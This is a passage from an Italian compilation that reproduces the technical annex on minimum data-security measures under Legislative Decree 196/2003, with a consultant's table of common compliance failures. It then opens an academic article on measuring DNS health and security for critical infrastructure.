delle credenziali è organizzata garantendo la relativa segretezza e individuando preventivamente per iscritto i soggetti incaricati della loro
custodia, i quali devono informare tempestivamente l'incaricato dell'intervento effettuato.
11. Le disposizioni sul sistema di autenticazione di cui ai precedenti punti e quelle sul sistema di autorizzazione non si applicano ai
trattamenti dei dati personali destinati alla diffusione.
Sistema di autorizzazione
12. Quando per gli incaricati sono individuati profili di autorizzazione di ambito diverso è utilizzato un sistema di autorizzazione.
13. I profili di autorizzazione, per ciascun incaricato o per classi omogenee di incaricati, sono individuati e configurati anteriormente all'inizio del trattamento, in modo da limitare l'accesso ai soli dati necessari per effettuare le operazioni di trattamento.
14. Periodicamente, e comunque almeno annualmente, è verificata la sussistenza delle condizioni per la conservazione dei profili di autorizzazione.
Altre misure di sicurezza
15. Nell'ambito dell'aggiornamento periodico con cadenza almeno annuale dell'individuazione dell'ambito del trattamento consentito ai
singoli incaricati e addetti alla gestione o alla manutenzione degli strumenti elettronici, la lista degli incaricati può essere redatta anche per
classi omogenee di incarico e dei relativi profili di autorizzazione.
16. I dati personali sono protetti contro il rischio di intrusione e dell'azione di programmi di cui all'art. 615-quinquies del codice penale,
mediante l'attivazione di idonei strumenti elettronici da aggiornare con cadenza almeno semestrale.
17. Gli aggiornamenti periodici dei programmi per elaboratore volti a prevenire la vulnerabilità di strumenti elettronici e a correggerne
difetti sono effettuati almeno annualmente. In caso di trattamento di dati sensibili o giudiziari l'aggiornamento è almeno semestrale.
18. Sono impartite istruzioni organizzative e tecniche che prevedono il salvataggio dei dati con frequenza almeno settimanale.
Documento programmatico sulla sicurezza
Artt. da 19 a 19.8 [soppressi] (¹)
74
Ulteriori misure in caso di trattamento di dati sensibili o giudiziari
20. I dati sensibili o giudiziari sono protetti contro l'accesso abusivo, di cui all'art. 615-ter del codice penale, mediante l'utilizzo di idonei
strumenti elettronici.
21. Sono impartite istruzioni organizzative e tecniche per la custodia e l'uso dei supporti rimovibili su cui sono memorizzati i dati al fine
di evitare accessi non autorizzati e trattamenti non consentiti.
22. I supporti rimovibili contenenti dati sensibili o giudiziari se non utilizzati sono distrutti o resi inutilizzabili, ovvero possono essere
riutilizzati da altri incaricati, non autorizzati al trattamento degli stessi dati, se le informazioni precedentemente in essi contenute non
sono intelligibili e tecnicamente in alcun modo ricostruibili.
23. Sono adottate idonee misure per garantire il ripristino dell'accesso ai dati in caso di danneggiamento degli stessi o degli strumenti elettronici, in tempi certi compatibili con i diritti degli interessati e non superiori a sette giorni.
24. Gli organismi sanitari e gli esercenti le professioni sanitarie effettuano il trattamento dei dati idonei a rivelare lo stato di salute e la
vita sessuale contenuti in elenchi, registri o banche di dati con le modalità di cui all'articolo 22, comma 6, del codice, anche al fine di consentire il trattamento disgiunto dei medesimi dati dagli altri dati personali che permettono di identificare direttamente gli interessati. I dati
relativi all'identità genetica sono trattati esclusivamente all'interno di locali protetti accessibili ai soli incaricati dei trattamenti ed ai soggetti specificatamente autorizzati ad accedervi; il trasporto dei dati all'esterno dei locali riservati al loro trattamento deve avvenire in contenitori muniti di serratura o dispositivi equipollenti; il trasferimento dei dati in formato elettronico è cifrato.
Misure di tutela e garanzia
25. Il titolare che adotta misure minime di sicurezza avvalendosi di soggetti esterni alla propria struttura, per provvedere alla esecuzione
riceve dall'installatore una descrizione scritta dell'intervento effettuato che ne attesta la conformità alle disposizioni del presente disciplinare tecnico.
26. [soppresso] (¹)
Trattamenti senza l'ausilio di strumenti elettronici
Modalità tecniche da adottare a cura del titolare, del responsabile, ove designato, e dell'incaricato, in caso di trattamento con strumenti
diversi da quelli elettronici:
27. Agli incaricati sono impartite istruzioni scritte finalizzate al controllo ed alla custodia, per l'intero ciclo necessario allo svolgimento
delle operazioni di trattamento, degli atti e dei documenti contenenti dati personali. Nell'ambito dell'aggiornamento periodico con cadenza
almeno annuale dell'individuazione dell'ambito del trattamento consentito ai singoli incaricati, la lista degli incaricati può essere redatta
anche per classi omogenee di incarico e dei relativi profili di autorizzazione.
28. Quando gli atti e i documenti contenenti dati personali sensibili o giudiziari sono affidati agli incaricati del trattamento per lo svolgimento dei relativi compiti, i medesimi atti e documenti sono controllati e custoditi dagli incaricati fino alla restituzione in maniera che ad
essi non accedano persone prive di autorizzazione, e sono restituiti al termine delle operazioni affidate.
29. L'accesso agli archivi contenenti dati sensibili o giudiziari è controllato. Le persone ammesse, a qualunque titolo, dopo l'orario di
chiusura, sono identificate e registrate. Quando gli archivi non sono dotati di strumenti elettronici per il controllo degli accessi o di incaricati della vigilanza, le persone che vi accedono sono preventivamente autorizzate.
(1) Paragrafi soppressi dall'art. 45, comma 1, lett. d), del decreto legge 9 febbraio 2012, n. 5, convertito, con modificazioni, dalla legge 4 aprile 2012, n. 35.
Per completezza, si riporta di seguito il testo dei paragrafi soppressi.
19. Entro il 31 marzo di ogni anno, il titolare di un trattamento di dati sensibili o di dati giudiziari redige anche attraverso il responsabile, se designato, un documento
programmatico sulla sicurezza contenente idonee informazioni riguardo:
19.1. l'elenco dei trattamenti di dati personali;
19.2. la distribuzione dei compiti e delle responsabilità nell'ambito delle strutture preposte al trattamento dei dati;
19.3. l'analisi dei rischi che incombono sui dati;
19.4. le misure da adottare per garantire l'integrità e la disponibilità dei dati, nonchè la protezione delle aree e dei locali, rilevanti ai fini della loro custodia e accessibilità;
19.5. la descrizione dei criteri e delle modalità per il ripristino della disponibilità dei dati in seguito a distruzione o danneggiamento di cui al successivo punto 23;
19.6. la previsione di interventi formativi degli incaricati del trattamento, per renderli edotti dei rischi che incombono sui dati, delle misure disponibili per prevenire eventi
dannosi, dei profili della disciplina sulla protezione dei dati personali più rilevanti in rapporto alle relative attività, delle responsabilità che ne derivano e delle modalità per
aggiornarsi sulle misure minime adottate dal titolare. La formazione è programmata già al momento dell'ingresso in servizio, nonchè in occasione di cambiamenti di mansioni, o di introduzione di nuovi significativi strumenti, rilevanti rispetto al trattamento di dati personali;
19.7. la descrizione dei criteri da adottare per garantire l'adozione delle misure minime di sicurezza in caso di trattamenti di dati personali affidati, in conformità al codice,
all'esterno della struttura del titolare;
19.8. per i dati personali idonei a rivelare lo stato di salute e la vita sessuale di cui al punto 24, l'individuazione dei criteri da adottare per la cifratura o per la separazione di tali dati dagli altri dati personali dell'interessato.
26. Il titolare riferisce, nella relazione accompagnatoria del bilancio d'esercizio, se dovuta, dell'avvenuta redazione o aggiornamento del documento programmatico sulla sicurezza.
75
Giancarlo Butti
Tabella 4: casi di mancato rispetto delle misure di sicurezza
Nella seguente tabella sono riportati i casi più frequentemente riscontrati di mancata applicazione delle misure minime di sicurezza o
comunque di misure che impattano sulla sicurezza dei sistemi informativi.
Tali dati derivano dalla attività di verifica e consulenza effettuata dall’autore negli ultimi 14 anni.
CASI DI MANCATA APPLICAZIONE
Decreto legislativo 30 giugno 2003, n. 196
RIFERIMENTO NORMATIVO
A rt. 3. Principio di necessità nel trattamento
dei dati
VIOLAZIONE
Mancato adeguamento dei sistemi informativi.
L’obbligo di tale adempimento è richiamato dalle varie Autorizzazioni di carattere
generale; si riporta come esempio:
Autorizzazione n. 1/2009 al trattamento dei dati sensibili nei rapporti di lavoro
16 dicembre 2009
…
il trattamento dei dati sensibili di cui all'art. 4, comma 1, lett. d), del Codice, finalizzato alla gestione dei rapporti di lavoro, secondo le prescrizioni di seguito indicate.
Prima di iniziare o proseguire il trattamento i sistemi informativi e i programmi informatici sono configurati riducendo al minimo l'utilizzazione di dati personali e di dati
identificativi, in modo da escluderne il trattamento quando le finalità perseguite nei singoli casi possono essere realizzate mediante, rispettivamente, dati anonimi od opportune
modalità che permettano di identificare l'interessato solo in caso di necessità, in conformità all'art. 3 del Codice.
B. Disciplinare tecnico in materia di misure minime di sicurezza
(Artt. da 33 a 36 del Codice)
Istruzioni agli incaricati
VIOLAZIONE
9. Sono impartite istruzioni agli incaricati …
Mancata formalizzazione scritta delle istruzioni.
21. Sono impartite istruzioni organizzative e
tecniche …
10. … sono impartite idonee e preventive
disposizioni scritte…individuando
preventivamente per iscritto …
Mancata individuazione scritta preventiva dei custodi delle credenziali.
VIOLAZIONE
4. Con le istruzioni impartite agli
incaricati….
18. Sono impartite istruzioni organizzative e
tecniche …
27. Agli incaricati sono impartite istruzioni
scritte …
Misure di tutela e garanzia
25. …riceve dall'installatore una descrizione
scritta dell'intervento effettuato che ne attesta
la conformità …
76
Mancata richiesta/rilascio della descrizione dell’intervento e della attestazione di conformità.
Separazione dei ruoli e dei profili di accesso
12, 13, 14, 27
Non corretta profilazione sui sistemi informativi.
Incoerenza nella gestione degli accessi alla stessa tipologia di dati quando questi sono
presenti in archivi diversi ed accessibili con diverse applicazioni.
Incoerenza nella gestione degli accessi alla stessa tipologia di dati quando questi sono
presenti in archivi on line e storici.
Presenza nei documenti di dati che richiedono autorizzazioni di accesso differenziate.
Errata organizzazione e separazione dei documenti.
Errata organizzazione e separazioni degli spazi fisici.
Non corretta gestione degli strumenti di uso comune a più strutture.
…
La normativa prescrive, correttamente, che a ruoli diversi che comportino differenziazione nei trattamenti e differenziazione nell’accesso
ai dati, corrispondano altrettanti profili abilitativi per l’accesso alle risorse dei sistemi informativi.
Analoga differenziazione deve avvenire per i dati ed i trattamenti effettuati fuori dal sistema informativo.
Questa semplice e corretta logica, applicabile nei casi più semplici, si scontra con enormi difficoltà oggettive allorquando il numero di
applicazioni e sistemi aumenta notevolmente.
Ad esempio, nel caso di una banca di medie dimensioni, si possono contare fino a 300 applicazioni, fino a 700 in una banca di grandi
dimensioni.
La stessa informazione (ad esempio i movimenti di un conto corrente) potrebbe essere disponibile su diverse applicazioni contemporaneamente, presenti in ambienti diversi e con livelli di profilatura non omogenei fra loro.
Una corretta mappatura di processi, attività, dati, applicazioni, ruoli (prerequisito per una corretta profilatura), ed il solo mantenimento
nel tempo, può risultare particolarmente oneroso e non praticabile.
Ulteriore differenziazione nella possibilità di profilatura potrebbe riguardare i dati on line e quelli “storici”, disponibili su nastri o supporti ottici, la cui consultazione non necessariamente richiede l’uso delle applicazioni di origine.
Ancor più complessa è la gestione dei dati contenuti nei documenti.
Un documento può essere l’integrazione di dati provenienti da applicativi e fonti diverse e non necessariamente chi consulta il documento
può essere autorizzato alla loro visione complessiva. Purtroppo i documenti non sono pensati per garantire livelli di accesso diversi dall’intero documento.
Il fatto che molto spesso l’unico trattamento possibile su dati e documenti sia la semplice consultazione non esime il Titolare dalle sue
responsabilità, come ben identificato nell’articolo 31 del Dlgs 196/03 e come il Garante per la protezione dei dati personali ha ribadito
nelle sue:
Prescrizioni in materia di circolazione delle informazioni in ambito bancario e di tracciamento delle operazioni bancarie - 12 maggio
2011
Ulteriore punto di attenzione, spesso di difficile applicazione, riguarda la separazione degli spazi fisici per quanti svolgono attività diverse
o addirittura appartengono a diverse società (e quindi Titolari) dello stesso Gruppo.
Anche in questo caso il rischio maggiore riguarda il possibile accesso in consultazione ad un dato da parte di che non è autorizzato.
Con la “Semplificazione delle misure di sicurezza contenute nel disciplinare tecnico di cui all'Allegato B) al
Codice in materia di protezione dei dati personali - 27 novembre 2008” le istruzioni relative alle misure minime
4, 9, 18, 21, 27 possono essere date anche oralmente da parte dei Titolari che rientrano fra i soggetti che possono
avvalersi di tale semplificazione.
Nessuna semplificazione è prevista relativamente alla misura minima 10.
77
Giancarlo Butti
Tabella 5: Semplificazioni alle misure minime di sicurezza
Semplificazione delle misure di sicurezza contenute nel disciplinare tecnico di cui all'Allegato B) al Codice
in materia di protezione dei dati personali - 27 novembre 2008
G.U. n. 287 del 9 dicembre 2008
2. Trattamenti effettuati con strumenti elettronici
I soggetti di cui al paragrafo 1 possono applicare le misure minime di sicurezza prescritte dalla disciplina in materia di trattamenti realizzati con l'ausilio di strumenti elettronici (art. 34 del Codice e regole da 1 a 26 dell'Allegato B) osservando le modalità semplificate di
seguito individuate.
2.1. Istruzioni agli incaricati del trattamento (modalità applicative delle regole di cui ai punti 4, 9, 18 e 21 dell'Allegato B))
Le istruzioni in materia di misure minime di sicurezza previste dall'Allegato B) possono essere impartite agli incaricati del trattamento
anche oralmente, con indicazioni di semplice e chiara formulazione.
2.2. Sistema di autenticazione informatica (modalità applicative delle regole di cui ai punti 1, 2, 3, 5, 6, 7, 8, 10 e 11 dell'Allegato B))
Per l'accesso ai sistemi informatici si può utilizzare un qualsiasi sistema di autenticazione basato su un codice per identificare chi accede
ai dati (di seguito, "username"), associato a una parola chiave (di seguito: "password"), in modo che:
a) l'username individui in modo univoco una sola persona, evitando che soggetti diversi utilizzino codici identici;
b) la password sia conosciuta solo dalla persona che accede ai dati.
L'username deve essere disattivato quando l'incaricato non ha più la qualità che rende legittimo l'utilizzo dei dati (ad esempio, in quanto
non opera più all'interno dell'organizzazione).
Può essere adottata, quale procedura di autenticazione anche la procedura di login disponibile sul sistema operativo delle postazioni di
lavoro connesse a una rete.
In caso di prolungata assenza o impedimento dell'incaricato che renda indispensabile e indifferibile intervenire per esclusive necessità di
operatività e di sicurezza del sistema, se l'accesso ai dati e agli strumenti elettronici è consentito esclusivamente mediante uso della password, il titolare può assicurare la disponibilità di dati o strumenti elettronici con procedure o modalità predefinite. Riguardo a tali
modalità, sono fornite preventive istruzioni agli incaricati e gli stessi sono informati degli interventi effettuati (ad esempio, prescrivendo ai
lavoratori che si assentino dall'ufficio per ferie l'attivazione di modalità che consentano di inviare automaticamente messaggi di posta elettronica ad un altro recapito accessibile: si vedano le Linee guida in materia di lavoro per posta elettronica e Internet approvate dal
Garante e pubblicate nella Gazzetta ufficiale 10 marzo 2007 , n. 58 [doc. web n. 1387522]).
2.3. Sistema di autorizzazione (modalità applicative delle regole di cui ai punti 12, 13 e 14 dell'Allegato B))
Qualora sia necessario diversificare l'ambito del trattamento consentito, possono essere assegnati agli incaricati –singolarmente o per categorie omogenee corrispondenti profili di autorizzazione, tramite un sistema di autorizzazione o funzioni di autorizzazione incorporate
nelle applicazioni software o nei sistemi operativi, così da limitare l'accesso ai soli dati necessari per effettuare le operazioni di trattamento.
2.3. Sistema di autorizzazione (modalità applicative delle regole di cui ai punti 12, 13 e 14 dell'Allegato B))
Qualora sia necessario diversificare l'ambito del trattamento consentito, possono essere assegnati agli incaricati –singolarmente o per categorie omogenee corrispondenti profili di autorizzazione, tramite un sistema di autorizzazione o funzioni di autorizzazione incorporate
nelle applicazioni software o nei sistemi operativi, così da limitare l'accesso ai soli dati necessari per effettuare le operazioni di trattamento.
2.4. A ltre misure di sicurezza (modalità applicative delle regole di cui ai punti 15, 16, 17 e 18 dell'Allegato B))
I soggetti di cui al paragrafo 1 assicurano che l'ambito di trattamento assegnato ai singoli incaricati, nonché agli addetti alla gestione o
alla manutenzione degli strumenti elettronici, sia coerente con i princìpi di adeguatezza, proporzionalità e necessità, anche attraverso verifiche periodiche, provvedendo, quando è necessario, ad aggiornare i profili di autorizzazione eventualmente accordati.
Gli aggiornamenti periodici dei programmi per elaboratore volti a prevenire la vulnerabilità di strumenti elettronici (ad esempio, antivirus), anche con riferimento ai programmi di cui all'art. 615-quinquies del codice penale, nonché a correggerne difetti, sono effettuati almeno annualmente. Se il computer non è connesso a reti di comunicazione elettronica accessibili al pubblico (linee Adsl, accesso a Internet
tramite rete aziendale, posta elettronica), l'aggiornamento deve essere almeno biennale.
I dati possono essere salvaguardati anche attraverso il loro salvataggio con frequenza almeno mensile. Il salvataggio periodico può non
riguardare i dati non modificati dal momento dell'ultimo salvataggio effettuato (dati statici), purché ne esista una copia di sicurezza da
cui effettuare eventualmente il ripristino.
78
2.5. Documento programmatico sulla sicurezza (modalità applicative delle regole di cui ai punti da 19.1 a 19.8 dell'Allegato B))
2.5.1. Fermo restando che per alcuni casi è già previsto per disposizione di legge che si possa redigere un'autocertificazione in luogo del
documento programmatico sulla sicurezza (vedi il precedente par. 1, lett. a); art. 29 d.l. n. 112/2008 cit.), i soggetti pubblici e privati
che trattano dati personali unicamente per correnti finalità amministrative e contabili, in particolare presso liberi professionisti, artigiani e
piccole e medie imprese, possono redigere un documento programmatico sulla sicurezza semplificato sulla base delle indicazioni di seguito
riportate.
Il documento deve essere redatto prima dell'inizio del trattamento e deve essere aggiornato entro il 31 marzo di ogni anno nel caso in cui,
nel corso dell'anno solare precedente, siano intervenute modifiche rispetto a quanto dichiarato nel precedente documento.
Il documento deve avere i seguenti contenuti:
a) le coordinate identificative del titolare del trattamento, nonché, se designati, gli eventuali responsabili. Nel caso in cui l'organizzazione
preveda una frequente modifica dei responsabili designati, potranno essere indicate le modalità attraverso le quali è possibile individuare
l'elenco aggiornato dei responsabili del trattamento;
b) una descrizione generale del trattamento o dei trattamenti realizzati, che permetta di valutare l'adeguatezza delle misure adottate per
garantire la sicurezza del trattamento. In tale descrizione vanno precisate le finalità del trattamento, le categorie di persone interessate e
dei dati o delle categorie di dati relativi alle medesime, nonché i destinatari o le categorie di destinatari a cui i dati possono essere comunicati;
c) l'elenco, anche per categorie, degli incaricati del trattamento e delle relative responsabilità. Nel caso in cui l'organizzazione preveda una
frequente modifica dei responsabili designati, potranno essere indicate le modalità attraverso le quali è possibile individuare l'elenco aggiornato dei responsabili del trattamento con le relative responsabilità;
d) una descrizione delle altre misure di sicurezza adottate per prevenire i rischi di distruzione o perdita, anche accidentale, dei dati, di
accesso non autorizzato o di trattamento non consentito o non conforme alle finalità della raccolta.
3. Modalità applicative per i trattamenti realizzati senza l'ausilio di strumenti elettronici (modalità applicative delle regole di cui ai punti
27, 28 e 29 dell'Allegato B))
I soggetti di cui al paragrafo 1 possono adempiere all'obbligo di adottare le misure minime di sicurezza di cui all'art. 35 del Codice
applicando le misure contenute nell'Allegato B) relativamente ai trattamenti realizzati senza l'ausilio di strumenti elettronici (regole da
27 a 29 dello stesso Allegato B)), con le modalità semplificate di seguito individuate.
3.1. Agli incaricati sono impartite, anche oralmente, istruzioni finalizzate al controllo e alla custodia, per l'intero ciclo necessario allo
svolgimento delle operazioni di trattamento, degli atti e dei documenti contenenti dati personali.
3.2. Quando gli atti e i documenti contenenti dati personali sensibili o giudiziari sono affidati agli incaricati del trattamento per lo svolgimento dei relativi compiti, i medesimi atti e documenti sono controllati e custoditi dai medesimi incaricati fino alla restituzione in modo
che a essi non accedano persone prive di autorizzazione, e sono restituiti al termine delle operazioni affidate.
79
Giancarlo Butti
Paradossi
L’applicazione letterale della normativa privacy nel suo complesso porta al verificarsi di alcuni paradossi che in sede di redazione delle
normativa difficilmente era facile prevedere.
Per testare l’attenzione dei partecipanti durante una delle sessioni formative da me svolte sull’argomento pongo uno specifico quesito.
Premesso che l’art. 7 del Dlgs 196/03 da ampi diritti all’interessato:
Art. 7. Diritto di accesso ai dati personali ed altri diritti
1. L'interessato ha diritto di ottenere la conferma dell'esistenza o meno di dati personali che lo riguardano, anche se non ancora registrati,
e la loro comunicazione in forma intelligibile.
che in base all’art. 8 del Dlgs 196/03, tale richiesta può essere formulata:
Art. 8. Esercizio dei diritti
1. I diritti di cui all'articolo 7 sono esercitati con richiesta rivolta senza formalità al titolare o al responsabile, anche per il tramite di un
incaricato, alla quale è fornito idoneo riscontro senza ritardo.
e che in base all’art. 9 del Dlgs 196/03 la richiesta può essere svolta:
Art. 9. Modalità di esercizio
1. La richiesta rivolta al titolare o al responsabile può essere trasmessa anche mediante lettera raccomandata, telefax o posta elettronica.
Il Garante può individuare altro idoneo sistema in riferimento a nuove soluzioni tecnologiche. Quando riguarda l'esercizio dei diritti di
cui all'articolo 7, commi 1 e 2, la richiesta può essere formulata anche oralmente e in tal caso è annotata sinteticamente a cura dell'incaricato o del responsabile.
Il quesito da me formulato è il seguente:
“Il Titolare che riceve da un interessato una richiesta dell'esistenza o meno di dati personali che lo riguardano, anche se non ancora registrati, quale risposta deve dare?”
La risposta corretta viene fornita dai partecipanti nella maggior parte dei casi.
Tale risposta è SI; esistono dati personali che riguardano il soggetto richiedente.
Tali dati sono stati forniti al Titolare dallo stesso richiedente al momento della sua richiesta.
Senza questi dati il Titolare non potrebbe verificare se sta trattando eventuali altri dati che riguardano l’interessato.
Questo non esclude il fatto che il Titolare ha comunque iniziato un trattamento sui dati personali del soggetto richiedente, anche se eventualmente in precedenza non lo stava facendo.
Tale trattamento continuerà anche successivamente, dovendo mantenere traccia della richiesta e della risposta fornita.
Si pone a questo punto anche il problema che per effettuare lecitamente tale trattamento il Titolare deve rilasciare un’apposita informativa
all’interessato.
Quindi, anche nel caso in cui il Titolare in precedenza non avesse mai gestito dati dell’interessato che ha effettuato tale richiesta, proprio
in conseguenza di tale richiesta avrà nei suoi archivi i dati dell’interessato.
Questo è solo uno dei tanti esempi di paradosso possibili…
80
E. Casalicchio
Università di Roma “Tor Vergata”
M. Caselli, A. Coletta, I. Nai Fovino, A. Rigoni
Global Cyber Security Center (GSEC)
STABILITÀ, SICUREZZA E RESILIENZA DEL DNS E LORO IMPATTO SUL
CONTROLLO DELLE INFRASTRUTTURE CRITICHE
(DOmaIN Name SySTem HeaLTH)
Sommario
Oggi, sostanzialmente ogni attività umana è esposta a
minacce di sicurezza correlate all’uso inevitabile delle reti IP e
del Sistema dei Nomi di Dominio (DNS). Mentre queste due
infrastrutture mondiali hanno generalmente funzionato in
maniera affidabile e robusta per decenni, la pervasività del
DNS stesso ed il crescente numero di minacce e attacchi informatici a tale infrastruttura pongono nuove sfide ai livelli politico, di governance e tecnico. Questo articolo concentra l’attenzione sul DNS come infrastruttura critica e sulla necessità di
misurare il suo “stato di salute” (DNS Health) ed il suo
livello di sicurezza. Il contributo di questo documento è molteplice. In primo luogo, prendendo ad esempio le reti di distribuzione elettrica, si analizza l’impatto che eventuali attacchi
al sistema dei nomi di dominio avrebbero sull’operatività dei
moderni sistemi energetici. A seguire, viene fornita la descrizione di un framework per la misura dello stato di salute del
DNS (Measuring the Naming System (MeNSa) framework), sviluppato con lo scopo di ottenere una metodologia formale e strutturata, nonché metriche e tool, per la valutazione
dei livelli di Health & Security del DNS. Infine, nell’ultima
parte del documento, si propone un processo di aggregazione
delle misure, con l’obiettivo di combinare differenti metriche di
“Health & Security” in indici aggregati di valutazione.
Inoltre vengono presentati i risultati ottenuti in una campagna
di test condotta su uno scenario realistico.
1. Introduzione
La sicurezza informatica è uno dei principali problemi della società digitale. L’ormai consolidata
dipendenza dall’ICT nei processi di controllo e
gestione di infrastrutture critiche (IC) fa della cybersecurity un elemento imprescindibile per la protezione e la sicurezza dei cittadini. Oggigiorno, tali IC
(centrali elettriche, reti energetiche, oleodotti e sistemi di controllo del traffico aereo) sono esposte non
A bstract
Today, basically every human activity is exposed to security threats related to the inevitable use of IP networks and
the Domain Name System (DNS). While these two worldwide infrastructures have been generally operated in a reliable
and robust fashion for decades, the pervasiveness problem
above mentioned and the growing number of cyber threats and
attacks raise new challenges at political, governance and technical level. In this work we concentrate our attention on the
DNS as critical information infrastructure and on the need to
measure the health and security level perceived. The contribution of this paper is multiple: First, taking as example the
Power Grid, we analyze the impact of malicious attacks
against the Domain Name System (DNS) on the operation
of the modern Energy system. Secondly, we provide a description of the Measuring the Naming System (MeNSa) framework designed to provide a formal and structured methodology,
metrics and tools for the measurement of DNS health and
security level. Finally we propose an aggregation process to
combine different health and security metrics in aggregated
indexes and we present the results obtained from a measurement campaign conducted in a real scenario.
solo ai tradizionali problemi di sicurezza ed affidabilità ma anche e soprattutto a nuove minacce legate
all’utilizzo che queste fanno delle reti IP e del DNS.
Nonostante queste due infrastrutture globali abbiano
funzionato per decadi in maniera affidabile e resiliente vi sono costantemente nuove sfide da un
punto di vista operazionale, politico e di governance
causate della diffusione e del sempre crescente
numero di minacce ed attacchi informatici.
In questo lavoro concentreremo l’attenzione su
81
E. Casalicchio, M. Caselli, A. Coletta, I. Nai Fovino, A. Rigoni
come il livello di sicurezza stabilità e resilienza del
DNS impatta la sicurezza e resilienza delle IC.
analizzeremo quindi gli effetti che, un potenziale
attacco al DNS potrebbe produrre sul controllo dell’infrastruttura elettrica. In particolare considereremo
le principali vulnerabilità ed i principali scenari di
attacco.
Nonostante il DNS sia stato recentemente riconosciuto, a tutti gli effetti, un’infrastruttura critica [1]
ed abbia acquisito popolarità in risposta alle vulnerabilità riscontrate di recente ed alla conseguente pubblicità dovuta all’adozione del DNSSeC, non esiste
una definizione condivisa del concetto di stabilità
(Stability), sicurezza (Security) e resilienza
(Resiliency) del DNS (di seguito denotata con SSR)
né vi è alcun accordo su un framework per la misurazione di queste caratteristiche. Inoltre, non esistono, allo stato attuale, delle linee guida da seguire nel
caso si debba gestire una crisi o scenari di cyber-warfare.
In questo articolo, prendendo come esempio
guida i sistemi energetici, mostreremo come il DNS
è un sistema critico da cui dipende il corretto funzionamento di molte altre infrastrutture.
Inoltre, presenteremo un’iniziativa coordinata a
livello internazionale, il progetto meNSa1, finanziato
da GCSeC, per lo sviluppo di un framework per la
valutazione del livello di salute e sicurezza del DNS
(DNS Health & Security – DNS H&S). Il progetto
meNSa propone di realizzare un framework di metriche e misure, che sia aperto e concepito per rispondere ai bisogni di quegli attori direttamente o indirettamente influenzati dal funzionamento del DNS. Le
metodologie proposte potranno intervenire nelle
azioni di definizione di policy e piani di gestione e
controllo degli incidenti ed inoltre permetteranno di
rafforzare la sicurezza e la resilienza del DNS attraverso una gestione proattiva delle sue operazioni.
Infine, mostreremo mediante una serie di esperimenti come è possibile aggregare varie metriche, atte
a misurare caratteristiche specifiche del DNS, per
ottenere degli indicatori unici che quantifichino il
livello di health e security percepito. I risultati sperimentali sono stati ottenuti considerando un caso specifico, quello di un end-user che accede, mediante un
browser, a risorse (contenuti), distribuiti sulla rete
internet. Come vedremo nel seguito, vi sono una
serie di operazioni per la gestione delle infrastrutture
critiche che rientrano in questo scenario, mentre altre
operazioni richiederebbero di effettuare delle misure
nel caso specifico, ossia accedendo direttamente alle
risorse di un’infrastruttura critica, cosa che ancora
non è stata possibile. La metodologia prodotta si è
comunque dimostrata estendibile al caso appena
menzionato.
Il lavoro è organizzato come segue. La Sezione 2
introduce i concetti di DNS Health, Vulnerabilità,
minacce che saranno usati man mano. La Sezione 3
descrive i sistemi energetici presentando le dipendenze che questi ultimi hanno nei confronti del
DNS. In questa sede si discute anche dell’importanza di un DNS sicuro e performante dal punto di vista
degli amministratori delle IC. La Sezione 4 descrive
nel dettaglio il framework meNSa elencandone i concetti di base e le fasi operative mentre nella Sezione 5
concentriamo l’attenzione sui metodi di aggregazione dati. Infine, nella Sezione 6 vengono mostrati i
primi esperimenti effettuati e come sia stato possibile validare le metodologie.
2. DNS Health, Vulnerabilità e Minacce
Per decenni, il DNS ha funzionato in maniera
generalmente affidabile. Nonostante questo, negli
ultimi anni è stato posto sotto i riflettori il concetto
di DNS Security, Stability e Resiliency. mentre vi
sono numerosi studi su tecniche di monitoraggio del
traffico DNS e su eventuali metodologie di misurazione delle perfomance ([2], [3], [4], [5]) ancora non
sono definite metriche che chiariscano il significato
di DNS SSR. allo stesso modo non sono stati tuttora descritti mezzi per valutare l’impatto che eventuali cambiamenti dovuti all’incremento del numero di
query o a modifiche nelle tecnologie (come nel caso
del DNSSeC) abbiano sul funzionamento del DNS.
Il lavoro condotto dall’Internet Corporation for
assigned Names and Numbers (ICaNN) ([6], [7]) ha
fornito una visione ad alto livello della nozione di
DNS Health: un concetto ampio che include perfomance, stabilità, resilienza ma che non considera
direttamente quello di sicurezza.
Quanto segue è una proposta di revisione delle
definizioni degli indicatori di DNS Health proposti
in [6] e [7].
• Availability – è definito come il grado con cui
un componente o l’intero sistema è operativo
ed accessibile all’utilizzo. In questo caso,
1 The meNSa project, http://www.gcsec.org/activity/research/dns-security-and-stability
82
STabILITà, SICuRezza e ReSILIeNza DeL DNS e LORO ImPaTTO SuL CONTROLLO DeLLe INfRaSTRuTTuRe CRITICHe
•
•
•
•
•
•
l’availability può essere definita anche come
l’abilità del DNS di essere operativo ogni qualvolta riceve una richiesta.
Coherency – questo è uno dei principi fondamentali del DNS essendo, di fatto, l’abilità di
risolvere un indirizzo IP in un dato nome di
dominio e viceversa. Considerando un esempio: se l’IP 192.0.2.1 è risolto nel valore
foo.example.com il principio di coerenza
implica che il nome foo.example.com sia risolto nell’IP originale, ovvero 192.0.2.1. La
Coherency è legata in gran parte ai dati mantenuti nelle cache locali e nelle risorse condivise.
Integrity – è l’abilità del DNS di proteggersi
contro modifiche o cancellazioni improprie
delle informazioni ed include elementi collegati alla possibilità di garantire il non-ripudio
e l’autenticità dei dati.
Resiliency – è l’abilità del DNS di rispondere e
ritornare in uno stato consentito e sicuro
all’occorrere di eventuali interruzioni di servizio. (es. attacchi DoS distribuiti). La
Resiliency è percepita dagli utenti come
availability mentre dai Provider come somma
dei processi di individuazione, risposta e recupero da eventuali problemi. Inoltre, la resiliency è una proprietà che può aumentare la
fiducia degli utenti ad investire, a lungo termine, nei servizi Internet. La Resiliency può
essere intesa anche come l’abilità del DNS di
fornire e mantenere un livello di servizio adeguato a fronte di guasti.
Security – è l’abilità del DNS di limitare o proteggersi da attività malevole (es. accessi non
autorizzati al sistema, rappresentazione fraudolenta delle identità, intercettazione delle
comunicazioni). anche la Security può contribuire ad aumentare la fiducia degli utenti nel
DNS.
Speed – è legata alle performance del DNS in
termini di tempi di risposta (es. periodo di
tempo impiegato tra l’invio di una
richiesta/query e l’arrivo di un responso) e
throughput (es. quantità di istruzioni, query o
operazioni processate nell’unità di tempo). La
Speed non è di interesse solo per l’utente finale ma può essere inerente anche alle operazioni di gestione ed amministrazione del DNS.
Stability – è l’abilità del DNS di funzionare in
maniera affidabile e prevedibile giorno per
giorno (es. standard e protocolli). La Stability
può facilitare la percezione del DNS come
sistema adeguato al soddisfacimento requisiti
imposti ed il suo uso.
La salute del DNS può essere compromessa in
diversi modi considerando la relazione che questi
hanno con tutte quelle vulnerabilità che è possibile
sfruttare. Per questo motivo, gli indicatori di Health
